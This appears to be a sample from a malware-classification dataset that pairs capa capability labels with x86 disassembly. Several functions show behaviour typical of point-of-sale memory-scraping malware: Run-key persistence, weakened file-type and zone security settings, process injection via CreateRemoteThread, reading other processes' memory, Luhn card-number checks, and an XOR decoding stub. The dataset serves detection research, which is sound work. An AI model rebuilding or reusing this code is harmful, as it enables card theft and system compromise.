joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ac5c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, ecx
mov dword [ebp - 8], edx
test esi, esi
jne 0x40ac70
xor eax, eax
jmp 0x40acda
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x40ac6c
mov eax, dword [esi + 0x3c]
cmp dword [eax + esi], 0x4550
jne 0x40ac6c
mov eax, dword [eax + esi + 0x88]
add eax, esi
je 0x40ac6c
mov ecx, dword [eax + 0x1c]
and dword [ebp - 4], 0
add ecx, esi
push ebx
mov ebx, dword [eax + 0x20]
push edi
mov edi, dword [eax + 0x24]
add ebx, esi
mov eax, dword [eax + 0x18]
add edi, esi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
test eax, eax
je 0x40acd6
mov ecx, dword [ebx]
add ecx, esi
call fcn.0040aa28
cmp eax, dword [ebp - 8]
je 0x40acdf
mov eax, dword [ebp - 4]
add ebx, 4
add edi, 2
inc eax
mov dword [ebp - 4], eax
movzx eax, ax
cmp eax, dword [ebp - 0xc]
jb 0x40acb3
xor eax, eax
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
movzx eax, word [edi]
test ax, ax
je 0x40acd6
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx + eax*4]
add eax, esi
jmp 0x40acd8

Function at 0x40b8ce
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x435180
call fcn.0040be20
push 1
call fcn.0040b470
pop ecx
test al, al
jne 0x40b785
push 7
call fcn.0040bc2d
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.0040b43b
mov byte [ebp - 0x24], al
mov eax, dword [0x43ad00]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x40b77e
test eax, eax
jne 0x40b7ef
mov dword [0x43ad00], ecx
push 0x41d180
push 0x41d168
call fcn.00410af9
pop ecx
pop ecx
test eax, eax
je 0x40b7d2
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x40b8c8
push 0x41d164
push 0x41d158
call fcn.00410a9d
pop ecx
pop ecx
mov dword [0x43ad00], 2
jmp 0x40b7f4
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.0040b5dd
pop ecx
call fcn.0040bf7f
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x40b824
push esi
call fcn.0040b553
pop ecx
test al, al
je 0x40b824
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call fcn.0040be15
call esi
call fcn.0040bf85
mov esi, eax
cmp dword [esi], edi
je 0x40b842
push esi
call fcn.0040b553
pop ecx
test al, al
je 0x40b842
push dword [esi]
call fcn.0040ff02
pop ecx
call fcn.0040bd49
movzx eax, ax
push eax
call fcn.00410a51
push eax
push edi
push 0x400000
call main
mov esi, eax
call fcn.0040bd7c
test al, al
jne 0x40b86d
push esi
call fcn.0040ff3a
test bl, bl
jne 0x40b876
call fcn.0040fedd
push edi
push 1
call fcn.0040b5fa
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x40b8c8
call fcn.0040be66
ret
call fcn.0040beca
jmp 0x40b766

Function at 0x40dfc1
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push esi
push str.FlsAlloc
push 0x41da90
push str.FlsAlloc
push 0
call fcn.0040df41
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40dff3
push dword [ebp + 8]
mov ecx, esi
call fcn.0040be15
call esi
pop esi
pop ebp
ret
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsAlloc]
Function at 0x40e035
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push str.FlsGetValue
push 0x41dab4
push str.FlsGetValue
push 2
call fcn.0040df41
add esp, 0x10
mov esi, eax
push dword [ebp + 8]
test esi, esi
je 0x40e066
mov ecx, esi
call fcn.0040be15
call esi
jmp 0x40e06c
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
pop esi
pop ebp
ret

Function at 0x40e06f
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push str.FlsSetValue
push 0x41dac8
push str.FlsSetValue
push 3
call fcn.0040df41
add esp, 0x10
mov esi, eax
push dword [ebp + 0xc]
push dword [ebp + 8]
test esi, esi
je 0x40e0a3
mov ecx, esi
call fcn.0040be15
call esi
jmp 0x40e0a9
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop esi
pop ebp
ret

Function at 0x433000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x401fc0
Capabilities:
Check os version
Get system information on windows

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0xc4
push 0x9c
push 0
lea eax, [ebp - 0x2c]
push eax
call fcn.00401940
add esp, 0xc
push 0x24
push 0
lea ecx, [ebp - 0x50]
push ecx
call fcn.00401940
add esp, 0xc
mov dword [ebp - 0x2c], 0x9c
cmp dword [0x407bd0], 1
jne 0x402021
push str.GetNativeSystemInfo
push 0x40649c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp + 0x70], eax
lea edx, [ebp - 0x50]
push edx
call dword [ebp + 0x70]
jmp 0x40202b
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x28], 5
jne 0x402055
cmp dword [ebp - 0x24], 0
jne 0x402055
push str.Windows_2000
mov edx, dword [ebp + 0x7c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
cmp dword [ebp - 0x28], 5
jne 0x402075
cmp dword [ebp - 0x24], 1
jne 0x402075
push str.Windows_XP
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
cmp dword [ebp - 0x28], 5
jne 0x40210c
cmp dword [ebp - 0x24], 2
jne 0x40210c
movzx ecx, byte [ebp + 0x6e]
cmp ecx, 1
jne 0x4020af
movzx edx, word [ebp - 0x50]
cmp edx, 9
jne 0x4020af
push str.Windows_XP_Professional_x64
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
push 0x59
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
jne 0x4020cf
push str.Windows_Server_2003
mov ecx, dword [ebp + 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
movzx edx, word [ebp + 0x6c]
and edx, 0x8000
jne 0x4020ef
push str.Windows_Home_Server
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
push 0x59
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x40210c
push str.Windows_Server_2003_R2
mov ecx, dword [ebp + 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
cmp dword [ebp - 0x28], 6
jne 0x40214c
cmp dword [ebp - 0x24], 0
jne 0x40214c
movzx edx, byte [ebp + 0x6e]
cmp edx, 1
jne 0x402132
push str.Windows_Vista
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
movzx ecx, byte [ebp + 0x6e]
cmp ecx, 1
je 0x40214c
push str.Windows_Server_2008
mov edx, dword [ebp + 0x7c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
cmp dword [ebp - 0x28], 6
jne 0x40218a
cmp dword [ebp - 0x24], 1
jne 0x40218a
movzx eax, byte [ebp + 0x6e]
cmp eax, 1
je 0x402172
push str.Windows_Server_R2
mov ecx, dword [ebp + 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40218a
movzx edx, byte [ebp + 0x6e]
cmp edx, 1
jne 0x40218a
push str.Windows_7
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add ebp, 0x74
mov esp, ebp
pop ebp
ret
Function at 0x402200
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
push 0x128
push 0
lea eax, [ebp - 0x140]
push eax
call fcn.00401940
add esp, 0xc
mov dword [ebp - 0x140], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x140]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0x1000
mov eax, dword [ebp - 0xc]
push eax
push 8
mov ecx, dword [0x407b6c]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0xc]
push edx
push 0
mov eax, dword [ebp - 8]
push eax
call fcn.00401940
add esp, 0xc
mov dword [ebp - 0x18], 0
push 0x104
push 0
lea ecx, [ebp - 0x244]
push ecx
call fcn.00401940
add esp, 0xc
lea edx, [ebp - 0x11c]
push edx
push 0x40656c
lea eax, [ebp - 0x244]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [ebp - 0x244]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0xc]
jbe 0x402324
mov eax, dword [ebp - 4]
push eax
push 8
mov ecx, dword [0x407b6c]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 4]
push edx
push 0
mov eax, dword [ebp - 0x10]
push eax
call fcn.00401940
add esp, 0xc
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 8]
push eax
push 8
mov ecx, dword [0x407b6c]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [ebp - 4]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x244]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp dword [ebp - 0x18], 0
je 0x402345
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x140]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40227b
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x402cd0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x4067bc
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x402d29
cmp dword [ebp - 4], 0
je 0x402d22
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x402de6
cmp dword [ebp - 8], 1
jne 0x402d40
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x402de6
mov dword [ebp - 0x10], 0x25
push 0x25
push 0x407ba0
call fcn.00402c90
add esp, 8
lea ecx, [ebp - 0x10]
push ecx
push 0x407ba0
lea edx, [ebp - 8]
push edx
push 0
push 0x406790
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x402d90
mov ecx, 1
imul edx, ecx, 0
movzx eax, byte [edx + 0x407ba0]
test eax, eax
jne 0x402d9e
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x402de6
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x4a
push 0x4076a0
call fcn.00402c90
add esp, 8
push 0x25
push 0x4076a0
push 0x407ba0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x407ba0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x402de1
xor eax, eax
jmp 0x402de6
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x402df0
Capabilities:
Copy file
Create directory
Delete file
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
call fcn.004031d0
push 5
lea eax, [ebp - 0x1c]
push eax
call fcn.00401340
add esp, 8
lea ecx, [ebp - 0x224]
push ecx
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x224]
push ecx
push str._s_s_s.exe
push 0x407700
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
lea edx, [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x402e5b
jmp 0x402fd6
push 0
push 0x407700
push 0x407920
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x402e76
jmp 0x402fd6
push 0x407920
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x407ba0
call fcn.004013e0
add esp, 4
push 0x4a
push 0x4076a0
push 0x407ba0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x407ba0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0x10], 0
push 0
lea eax, [ebp - 8]
push eax
push 0
push 2
mov ecx, dword [ebp - 0x10]
push ecx
push 0
push 0
push 0x4067bc
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402ee7
jmp 0x402fd6
push 0x407ba0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
push edx
push 0x407ba0
push 1
push 0
push 0x406790
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 8]
push edx
push 2
push 0
push 0x4067dc
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402f41
jmp 0x402f7a
push 0x407700
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
push 0x407700
push 1
push 0
push 0x4076a0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 8]
push eax
push 2
push 0
push 0x4067dc
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x402f9d
jmp 0x402fd6
push 0x407700
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
push 0x407700
push 1
push 0
push 0x4076a0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x4031d0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 8]
push ecx
push 0
push 0x20006
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesAssociations
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40323d
push str..exe_.bat_.reg_.vbs_
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
push edx
push str..exe_.bat_.reg_.vbs_
push 1
push 0
push str.LowRiskFileTypes
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 8]
push edx
push 0x20006
push 0
push 0x406908
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40328e
mov dword [ebp - 0xc], 0
push 4
lea eax, [ebp - 0xc]
push eax
push 4
push 0
push 0x406990
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 8]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4032e7
mov dword [ebp - 0xc], 0
push 4
lea ecx, [ebp - 0xc]
push ecx
push 4
push 0
push str.1806
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x4032f0
Capabilities:
Create process on windows
Create process suspended
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0x44
lea eax, [ebp - 0x68]
push eax
call fcn.00402c90
add esp, 8
mov dword [ebp - 0x68], 0x44
push 0x10
lea ecx, [ebp - 0x24]
push ecx
call fcn.00402c90
add esp, 8
mov dword [0x4072a4], 1
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push 0x407480
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x40335b
jmp 0x4034c8
push 2
push 0
push 0
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [0x4072a0]
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x4033a0
push 0
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4034c8
mov ecx, dword [0x4072a0]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 4]
mov dword [0x4072a0], edx
cmp dword [ebp + 8], 1
jne 0x40342a
mov eax, dword [0x4072a8]
mov dword [0x4072ac], eax
mov ecx, dword [ebp - 0x1c]
mov dword [0x4072b0], ecx
push 2
push 0
push 0
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [0x4072b4]
push ecx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x403415
push 0
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4034c8
mov edx, dword [0x4072b4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov dword [0x4072b4], eax
mov ecx, dword [0x407b70]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x24]
push eax
call fcn.00403510
add esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40346e
push 0
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4034c8
mov ecx, entry0
sub ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x10]
mov dword [ebp - 0x14], ecx
push 0
push 0
push 0
mov edx, dword [ebp - 0x14]
push edx
push 0
push 0
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x4034a8
cmp dword [ebp + 8], 0
jne 0x4034a6
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x4034c8
push 0
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x403cc0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov dword [ebp - 0x24], 0
push 0x128
push 0
push 0x407320
call fcn.00401940
add esp, 0xc
mov dword [0x407320], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x18], eax
push 0x407320
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.dll_Process32First
push 0x407344
call fcn.00403f10
add esp, 4
cmp eax, 1
jne 0x403d1c
jmp 0x403eb3
mov ecx, dword [0x4072a8]
cmp ecx, dword [0x407328]
je 0x403d38
mov edx, dword [0x4072a8]
cmp edx, dword [0x407338]
jne 0x403d3d
jmp 0x403eb3
mov dword [ebp - 4], 0
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x407328]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x403d6d
jmp 0x403eb3
cmp dword [0x407bd0], 1
jne 0x403d99
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [0x407bd8]
cmp dword [ebp - 0x20], 0
jne 0x403d99
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403eb3
mov dword [ebp - 0xc], 0
mov ecx, 1
test ecx, ecx
je 0x403ea9
push 0x1c
push 0
lea edx, [ebp - 0x40]
push edx
call fcn.00401940
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp dword [ebp - 0x40], 0
jne 0x403de2
cmp dword [ebp - 0xc], 0
je 0x403de2
jmp 0x403ea9
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x2c]
and ecx, 1
jne 0x403dfe
mov edx, dword [ebp - 0x2c]
and edx, 0x100
je 0x403e00
jmp 0x403da0
mov dword [ebp - 8], 0
cmp dword [ebp - 0x34], 0
jbe 0x403ea4
cmp dword [ebp - 8], 0
je 0x403e24
mov eax, dword [ebp - 8]
add eax, 0x64000
mov dword [ebp - 8], eax
jmp 0x403e2a
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 8], ecx
cmp dword [ebp - 0x34], 0x64000
jbe 0x403e48
mov dword [ebp - 0x1c], 0x64000
mov edx, dword [ebp - 0x34]
sub edx, 0x64000
mov dword [ebp - 0x34], edx
jmp 0x403e55
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x10], 0
mov ecx, dword [0x4072b8]
mov dword [ebp - 0x14], ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00403f60
add esp, 8
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00404880
add esp, 8
jmp 0x403e07
jmp 0x403da0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x407320
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x403d05
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
mov esp, ebp
pop ebp
ret
Function at 0x405120
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 2
mov dword [ebp - 0x40], 4
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x38], 8
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x28], 7
mov dword [ebp - 0x24], 9
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
jmp 0x40519e
cmp dword [ebp - 8], 0
jne 0x405191
mov dword [ebp - 0x10], 1
jmp 0x405198
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 0x20], 0
je 0x4051e5
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx]
sub edx, 0x30
mov dword [ebp - 0x14], edx
cmp dword [ebp - 8], 0
je 0x4051d0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
jmp 0x4051da
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + ecx*4 - 0x48]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
jmp 0x405182
mov eax, dword [ebp - 0xc]
cdq
mov ecx, 0xa
idiv ecx
test edx, edx
jne 0x4051fd
mov dword [ebp - 0x1c], 1
jmp 0x405204
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret